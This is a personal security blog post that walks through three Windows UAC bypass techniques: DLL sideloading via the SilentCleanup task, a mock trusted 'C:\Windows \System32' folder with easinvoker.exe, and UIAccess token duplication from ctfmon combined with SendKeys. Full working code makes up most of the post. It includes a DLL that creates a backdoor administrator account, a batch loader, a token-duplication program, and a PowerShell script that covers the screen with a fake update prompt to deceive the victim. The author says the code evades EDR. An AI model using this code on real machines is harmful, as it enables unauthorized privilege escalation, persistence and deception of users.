Creative UAC Bypass Methods for the Modern Era
It’s been almost a year since my last post, and during that time I have acquired a strong interest in revisiting privilege escalation techniques for the modern era 😸 My goal is always to find code that executes across all Windows versions AND bypasses EDR. In fact, when I write these blog posts, I test all the code with EDR on to ensure everything is fully tested before I share my findings.
Unrelated, but I also added an updated Discord link on the left panel of my site, in case anyone wants to hop in and say hi. I’ve met quite a few of you on Twitter over the years and I’ve thoroughly enjoyed the conversations that have unfolded since I first joined twitter not that long ago. Okay, let’s dive in to the first UAC bypass method.
UAC Bypass Technique #1 - DLL Sideloading
(UAC setting - ALWAYS ON)
This one isn’t too challenging to pull off, though it proved difficult locating a consistent DLL in use across all Windows 11 versions (home/pro/education/enterprise). I’m talking about the ever famous scheduled task, SilentCleanup
, which of course runs: cleanmgr.exe / dismhost.exe
. This scheduled task has been abused time and time again over the years, and somehow it still prevails as a tried and true vector for UAC bypass / privilege escalation to this day.
If we go ahead and run this scheduled task, we’ll see we have a stray DLL from dismhost.exe
desperately looking to be intercepted via a DLL Sideloading attack 🤯 That stray DLL is called: api-ms-win-core-kernel32-legacy-l1.dll
Let’s fire up Visual Studio and write some code to load our own custom dll. I went a bit overboard and made sure, if at all possible, to prevent the DLL from getting load locked. You’ll see I add a new user, mocker, and join them to the administrators group. I also write a text file to the c:\ directory for added confirmation of our new privileges.
#include "pch.h"
#include <windows.h>
#pragma comment (lib, "user32.lib")
DWORD WINAPI MyThread(LPVOID lpParam)
{
WinExec("cmd.exe /c net user mocker M0ck3d2024 /add && net localgroup administrators mocker /add", 0);
WinExec("cmd.exe /c echo hey > c:\\heythere.txt", 0);
return 0;
}
DWORD WINAPI WorkItem(LPVOID lpParam)
{
MyThread(NULL);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
DisableThreadLibraryCalls(hinstDLL); // Avoid unnecessary notifications
// Use QueueUserWorkItem to safely execute code after the DLL has been loaded
QueueUserWorkItem(WorkItem, NULL, WT_EXECUTEDEFAULT);
// Optionally execute additional code here, e.g., WinExec command
// WinExec("cmd.exe /c net user mocker M0ck3d2024 /add && net localgroup administrators mocker /add", 0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Now, let’s compile it and add it into our USER environment PATH folder of our choosing. I made my own to prove you do NOT need a premade PATH folder to use this. Sometimes DLL sideloading attacks, especially SYSTEM processes with DLL sideloading opportunities, require a PATH location that’s already been created. If there aren’t any PATH locations created, you’re out of luck. Not in this case. This attack vector uses the USER path location, which we have full control over as a standard user.
and here it is after compilation has completed, in my PATH folder of choice:
Now, let’s fire up that scheduled task again and see what happens shall we?! 🤞
It’s loaded! That’s no guarantee it worked though…let’s check to make sure our new user was created, as well as our text file.
Sure enough, there’s the newly created administrator 😸
and the text file:
OKAY! we’re in business. HOWEVER, there is a caveat to this bypass and the other two I’ll be covering…they do NOT work with the upcoming User Account Control Administrator Protection
:
Trust me, I tried… 😿 But until then, this particular bypass works even with UAC set to ALWAYS ON.
UAC Bypass Technique #2 - Mock Trusted Folders
(UAC setting - Don’t notify me when I make changes to Windows settings)
This particular technique, just like the last one we discussed, is not anything novel. It’s actually been around for quite some time. I personally discovered it through reading a Bleeping Computer article last year on it:
It’s pretty simple really. We find an auto-elevate executable in c:\Windows\System32 and force it to load our own custom dll. The interesting aspect of this particular bypass is that the auto elevated executable can only load a DLL if it’s contained within the trusted C:\Windows\System32 folder. We get around this using the mock trusted folder technique. In brief, when you create a mock folder, the folder includes a trailing space, for instance: c:\windows \
In our case, we need to create c:\windows \system32\
. This works, as I understand it, because of the following which I swiped from an excellent Medium writeup by David Wells: https://medium.com/@CE2Wells
I edited some of this to reflect the executable we’re using in this blog post:
“When this awkward path is sent to AIS for an elevation request, the path is passed to GetLongPathNameW, which converts it back to “C:\Windows\System32\easinvoker.exe” (space removed). Perfect! This is now the string that trusted directory checks are performed against (using RtlPrefixUnicodeString) for the rest of the routine. The beauty is that after the trusted directory check is done with this converted path string, it is then freed, and rest of checks (and final elevated execution request) are done with the original executable path name (with the trailing space)” - David Wells
Okay, let’s choose our autoexecutable. I’ll go with easinvoker.exe
Now, we need to take care of a few things first. We need to make sure to include the proper import(s) for our DLL when we load it using easinvoker.exe
I don’t want to have to deal with tons of imported APIs, so I’d like to find a DLL that has just one or two. We’ll use the free WinAPISearch64 program to get the job done!
I’ll go with the netutils.dll
DLL file since it only has the 1 imported API:
Next, I need to understand how that API is laid out. I’ll check it out on Microsoft’s site:
cool, let’s put it all together:
//x86_64-w64-mingw32-gcc netutils.c -shared -o netutils.dll
#include <windows.h>
#include <lm.h>
#include <wtypes.h>
BOOL APIENTRY DllMain (HMODULE hModule, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
WinExec("cmd.exe", 1);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
NET_API_STATUS WINAPI NetApiBufferFree(LPVOID Buffer)
{
Sleep(INFINITE);
return 1;
}
compile it (I sometimes use Debian Linux for DLLs. In this case, I had some weird issues with using Visual Studio so just stuck with mingw)
~$ x86_64-w64-mingw32-gcc netutils.c -shared -o netutils.dll
Lastly, put together some crappy code that pulls off the UAC Bypass
@echo off
cd %USERPROFILE%\Desktop
mkdir "\\?\C:\Windows "
mkdir "\\?\C:\Windows \System32"
copy "c:\windows\system32\easinvoker.exe" "C:\Windows \System32\"
cd c:\temp
copy "netutils.dll" "C:\Windows \System32\"
"C:\Windows \System32\easinvoker.exe"
del /q "C:\Windows \System32\*"
rmdir "C:\Windows \System32\"
rmdir "C:\Windows \"
cd %USERPROFILE%\Desktop
and be greeted with a beautiful administrator command prompt 😼
and that’s it!
Now, time for the grand finale 🙂 I had the most fun with this one, as it’s the most creative and consequently the most difficult to learn and pull off…at least for me personally. But that’s what made it all the more enjoyable to research! I give you…
UAC Bypass Technique #3 - UI Access Token Duplication
(UAC setting - Don’t notify me when I make changes to Windows settings)
Yeah, on it’s own ctfmon
seems pretty bland. It’s not fully elevated, though it is running in HIGH integrity. So I’ll give it that
Let’s peek around a bit more to see what’s up with this intriguing yet lackluster process. Hmm, ever wondered about this when viewing a process in Process Hacker/System Informer?
I never really thought much of it. But then again, others delve much deeper into Windows Internals than I have. Take James Forshaw for example…keep in mind this was from 2019!!!
https://www.tiraniddo.dev/2019/02/accessing-access-tokens-for-uiaccess.html
I’ll give you the short end of the matter. We can duplicate the ctfmon’s process token and change the token integrity to the integrity of our current process. Then, we have Leet powers to do an old trick I used to absolutely LOVE doing back in high school. Using SendKeys to force elevated programs to do our evil bidding…Mwuahahahahahaa! Normally, well.. sometime after Windows XP…a standard user was prevented from interacting with an elevated application window. However, with UIAccess, welcome back to the days of Windows XP and 7, where AV sucks and there are no restrictions…where anything goes! It’s starting to get late so I’d better get to it. Here’s the code:
#include <windows.h>
#include <iostream>
#include <string>
// Helper function to adjust token integrity
bool SetTokenIntegrityLevel(HANDLE hTokenTarget, HANDLE hTokenSource) {
DWORD dwSize = 0;
TOKEN_MANDATORY_LABEL* pTILSource = nullptr;
// Get the integrity level of the current process token
if (!GetTokenInformation(hTokenSource, TokenIntegrityLevel, nullptr, 0, &dwSize) &&
GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
std::cerr << "Failed to get token integrity level size: " << GetLastError() << std::endl;
return false;
}
pTILSource = (TOKEN_MANDATORY_LABEL*)malloc(dwSize);
if (!pTILSource) {
std::cerr << "Memory allocation failed.\n";
return false;
}
if (!GetTokenInformation(hTokenSource, TokenIntegrityLevel, pTILSource, dwSize, &dwSize)) {
std::cerr << "Failed to get token integrity level: " << GetLastError() << std::endl;
free(pTILSource);
return false;
}
// Set the integrity level for the target token
if (!SetTokenInformation(hTokenTarget, TokenIntegrityLevel, pTILSource, dwSize)) {
std::cerr << "Failed to set token integrity level: " << GetLastError() << std::endl;
free(pTILSource);
return false;
}
free(pTILSource);
return true;
}
int main(int argc, char* argv[]) {
if (argc != 2) {
std::cerr << "Usage: <program> <PID of ctfmon.exe>" << std::endl;
return 1;
}
DWORD targetPID = std::stoi(argv[1]);
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, targetPID);
if (!hProcess) {
std::cerr << "Failed to open target process: " << GetLastError() << std::endl;
return 1;
}
HANDLE hToken = NULL;
if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken)) {
std::cerr << "Failed to open process token: " << GetLastError() << std::endl;
CloseHandle(hProcess);
return 1;
}
HANDLE hCurrentProcessToken = NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hCurrentProcessToken)) {
std::cerr << "Failed to open current process token: " << GetLastError() << std::endl;
CloseHandle(hToken);
CloseHandle(hProcess);
return 1;
}
HANDLE hNewToken = NULL;
if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, nullptr, SecurityImpersonation, TokenPrimary, &hNewToken)) {
std::cerr << "Failed to duplicate token: " << GetLastError() << std::endl;
CloseHandle(hCurrentProcessToken);
CloseHandle(hToken);
CloseHandle(hProcess);
return 1;
}
// Set the integrity level to match the current process
if (!SetTokenIntegrityLevel(hNewToken, hCurrentProcessToken)) {
std::cerr << "Failed to set integrity level: " << GetLastError() << std::endl;
CloseHandle(hNewToken);
CloseHandle(hCurrentProcessToken);
CloseHandle(hToken);
CloseHandle(hProcess);
return 1;
}
// Prepare to create a new process with UIAccess
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR commandLine[] = L"powershell.exe";
// Create the process with UIAccess
if (!CreateProcessAsUser(hNewToken,
nullptr,
commandLine, // Replace with your desired process
nullptr,
nullptr,
FALSE,
CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT,
nullptr,
nullptr,
&si,
&pi))
{
std::cerr << "Failed to create process: " << GetLastError() << std::endl;
CloseHandle(hNewToken);
CloseHandle(hCurrentProcessToken);
CloseHandle(hToken);
CloseHandle(hProcess);
return 1;
}
std::cout << "Process created with PID: " << pi.dwProcessId << std::endl;
// Clean up
CloseHandle(hNewToken);
CloseHandle(hCurrentProcessToken);
CloseHandle(hToken);
CloseHandle(hProcess);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
compile it, and then run it:
Now, check your newly created powershell process’ token privs!
Let’s get creative 😸 We can now sendkeys to an elevated program. So, let’s start an autoelevated program we’d like to use to gain administrator privs, say…taskschd.msc
!
I’m going to use a powershell script to pull this off. This is actually pretty hilarious. I made it so it covers the entire screen green with a message telling the user to hit enter and press yes if prompted (In case UAC always on is set) covering the whole screen with a form only works best if the victim is on a laptop of course. I’ll see if I can capture screenshots of the madness below. Here’s the code:
$UACRegKeyPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
$UACValue = Get-ItemProperty -Path $UACRegKeyPath -Name ConsentPromptBehaviorAdmin | Select-Object -ExpandProperty ConsentPromptBehaviorAdmin
switch ($UACValue) {
0 { "0 - UAC is disabled (Never notify)." }
1 { "1 - UAC enabled - Prompt for credentials on the secure desktop (Always notify)." }
2 { "2 - UAC enabled - Prompt for consent on the secure desktop." }
3 { "3 - UAC enabled - Prompt for consent for non-Windows binaries." }
4 { "4 - UAC enabled - Automatically deny elevation requests." }
5 { "5 - UAC enabled - Prompt for consent for non-Windows binaries." }
Default { "Unknown UAC setting." }
}
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing
$form = New-Object System.Windows.Forms.Form
$form.FormBorderStyle = 'None'
$form.WindowState = 'Maximized'
$form.BackColor = [System.Drawing.Color]::Green
$form.TopMost = $true
$form.KeyPreview = $true
$form.Add_KeyDown({
param($sender, $eventArgs)
if ($eventArgs.KeyCode -eq [System.Windows.Forms.Keys]::Enter) {
$sender.Close()
}
})
$form.Add_Paint({
param($sender, $event)
$graphics = $event.Graphics
$text = "[ Please hit (Enter) then select (YES) if prompted to continue the update ]"
$font = New-Object System.Drawing.Font("Arial", 36, [System.Drawing.FontStyle]::Bold)
$brush = [System.Drawing.Brushes]::White
$textSize = $graphics.MeasureString($text, $font)
$x = ($form.ClientSize.Width - $textSize.Width) / 2
$y = ($form.ClientSize.Height - $textSize.Height) / 2
$graphics.DrawString($text, $font, $brush, $x, $y)
})
$form.Show()
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class User32 {
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool SetForegroundWindow(IntPtr hWnd);
}
"@
Start-Process "cmd.exe" -ArgumentList "/C start taskschd.msc" -NoNewWindow
Start-Sleep -Seconds 5
$taskschd = Get-Process -Name "mmc" -ErrorAction SilentlyContinue
if ($taskschd) {
$hwnd = $taskschd.MainWindowHandle
[User32]::SetForegroundWindow($hwnd)
# Wait a moment for the window to come to the front
Start-Sleep -Seconds 2
# Send keystrokes to azman/mmc
[void][System.Windows.Forms.SendKeys]::SendWait("%")
[void][System.Windows.Forms.SendKeys]::SendWait("{RIGHT}")
[void][System.Windows.Forms.SendKeys]::SendWait("{DOWN}")
[void][System.Windows.Forms.SendKeys]::SendWait("{DOWN}")
[void][System.Windows.Forms.SendKeys]::SendWait("{DOWN}")
[void][System.Windows.Forms.SendKeys]::SendWait("{DOWN}")
[void][System.Windows.Forms.SendKeys]::SendWait("{ENTER}")
Start-Sleep -Seconds 2
[void][System.Windows.Forms.SendKeys]::SendWait("{TAB}")
[void][System.Windows.Forms.SendKeys]::SendWait("{TAB}")
[void][System.Windows.Forms.SendKeys]::SendWait("{TAB}")
[void][System.Windows.Forms.SendKeys]::SendWait("{TAB}")
[void][System.Windows.Forms.SendKeys]::SendWait("{TAB}")
[void][System.Windows.Forms.SendKeys]::SendWait("{TAB}")
[void][System.Windows.Forms.SendKeys]::SendWait(" ")
Start-Sleep -Seconds 1
[void][System.Windows.Forms.SendKeys]::SendWait("cmd{ENTER}")
} else {
Write-Host "taskschd/mmc is not running."
}
$form.Close()
It cracks me up because this is all happening behind the scenes and when the green screen goes away, the payload will have executed and the user wouldn’t have seen it…well…if they were only using one screen lol
Here’s screenshots of the process unfolding:
I Literally had to take a picture of my computer monitor with my IPhone so you guys could see the results 😄 and the final administrator command shell! You would obviously want to weaponize this to perform a reverse shell, etc. But for demonstration purposes I wanted you to see the administrator shell.
It’s getting late and I need to hop off. Hope you enjoyed the fresh take on some old tried and true UAC bypass techniques. Until next time, and hopefully not one year from now…Later!
Leave a comment